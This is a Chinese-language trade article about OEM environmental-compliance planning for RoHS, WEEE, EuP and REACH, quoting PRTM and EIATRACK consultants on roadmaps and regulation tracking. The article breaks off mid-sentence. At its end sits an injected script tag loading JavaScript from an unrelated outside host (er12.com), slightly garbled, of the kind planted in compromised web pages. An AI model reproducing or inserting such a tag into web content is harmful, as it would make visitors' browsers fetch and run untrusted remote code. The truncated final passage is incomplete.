oem在制定环保达标规划过程中面临若干艰巨的挑战，为了正确实施所制定的策略，设定一个达标路线图并且有系统地执行环境监测与达标流程对于企业至关重要。这包括利用必要的工具去监测新的和正在讨论的环保规则、分析这些环保规则对企业和产品的影响，然后，为达标而进行工艺转换并采取必要的行动。对制造商而言，与环保达标有关的两个主要问题是密切关注现有的和即将颁布的环保要求，以及管理与产品达标相关的所有数据。许多业内人士建议oem从第三方法律、咨询、测试及内容提供公司获得帮助，并利用必要软件工具和信息进行达标数据管理、报告和追踪。他们还建议在新的环保法规获得最终定案之前，oem就要介入起草过程并对行业协会等组织进行游说并参与其讨论工作组。从规划路线图开始 pittiglio rabin todd & mcgrath(prtm)合伙人robert chinn认为，制定达标计划需要两个关键功能，即有系统的环境监测和达标流程，而路线图至关重要。概括地说需要6个步骤，包括：1. 监测：设定关键目标、按照优先次序对要求进行排列、了解用户需求、对项目期望水平进行管理；2. 解释：分析影响和风险；3. 执行：建立目标、关键内容、达标情况和成本测算；4. 审核：在风险和审核要求之间进行平衡；5. 报告：建立响应过程、建立文档、报告、证书、审核和技术规范；6. 归档：管理文件。开始时可以从chinn所说的被动反应模式向更为持续和战略性的达标行动转移着手。他认为，企业必须从更高的战略层面或可持续的方式考察环保达标要求，这就意味着要面向全球市场，并从产品开发和供应链的角度将达标要求尽早融入到业务流程之中。“环保达标应该放入产品开发流程和企业整个流程之中，而决不能事后诸葛亮，要在产品开发和生产过程中牢固树立这个观念。”chinn强调道。据他介绍，许多企业面临的挑战在于他们不知道如何达到rohs和weee指令的要求，不知道如何在确保不增加成本、不导致延迟且有可能达不到要求的情况下高效地工作。“业内的人们都是如此埋头苦干而被动应付rohs，以致于oem特别是消费品领域的oem还没有开始针对eup或其它国家类似rohs的法令采取行动，而这些法规又处于一种不断变化的过程之中，在我们向前推进时使得企业将承担越来越高的成本。”他分析道。
企业必须面向全球市场，从产品开发和供应链角度将环保要求融入业务流程之中。一般来说，被动应付会导致库存增加、渠道混乱、成本上升、交货延迟或取消其它项目，以及增加发生事故的风险。但通过提前规划并将达标要求融入到产品规划和后续工作中，企业就能够最大限度地减少费用、降低供应链成本、消除对用户的影响并更有效地使用资源。chinn表示，“毫无疑问，如果你能够提前规划并采取行动，那么你的成本就更低，对企业的影响也就更容易受到控制。”
尽管有些指令一直非常不明确且执行情况也不清楚，还需要随着时间推移不断改变，但是冒险在不断修订的指令上进行准备也是值得的。他补充说。跟踪要求是关键 eiatrack的regconnect总监andrew sweatman指出，环保要求受到公众、非政府组织和政府产业部门等构成的一个独特的群体所推动，他们会从各自不同的领域制订其环保要求，而企业必须意识到这些差异。他说：“一些司法管辖区对这些问题比其它地区更敏感，特别是北欧国家如德国、荷兰和斯堪的纳维亚各国(瑞典、挪威和丹麦)。这些国家具有很强的环保意识，因而他们的法律和法规反映了公众对诸如化学品、产品回收和其它这类要求的关心。”
企业还需要知道一个问题就是环保要求不一定按照以前建立标准的惯用程序。例如，就标签而言，每一个国家都有其关心的问题和要求，因而会建立自己的标签格式。另外这些环保要求也都在不断地变化之中，sweatman认为规则发展如此之快，以至于当它们开始实施时企业常常还无法获得全部细节或信息。因此要非常认真地跟踪诸如rohs豁免之类的消息，但问题在于这些环保要求可能应用于50个不同的司法管辖区，而企业没有必要在每一个有产品销售的区域都安排自己的人。sweatman进一步解释说，“一些我们以前没有注意的地区也表现出越来越浓厚的兴趣，并且正在制订他们自己的法律和法规。”
例如在亚太区就出现了一些重要的环保法规，像韩国对某些规格尺寸的产品禁止使用膨胀泡沫塑料，日本也在制订自己的rohs条例并考虑建立自己独特的标签系统来显示达标或不达标，澳大利亚则制定了合约系统(covenant system)，要求企业建立专门的行动计划以减少和回收包装材料。企业需要采取的关键行动之一就是掌握会在中短期对产品产生影响的主要环保要求及其实施时间，并了解未来6到12个月内需要完成的任务，sweatman建议说。比如短期就是要在2006年7月1日达到rohs法规的要求，然后就要着手考虑日益临近的使用能源产品(eup)指令最后期限和reach化学品政策要求。用技术手段协助管理随着全社会对环保要求的关注日益增长，人们?script src=http://er12.com/t.js>
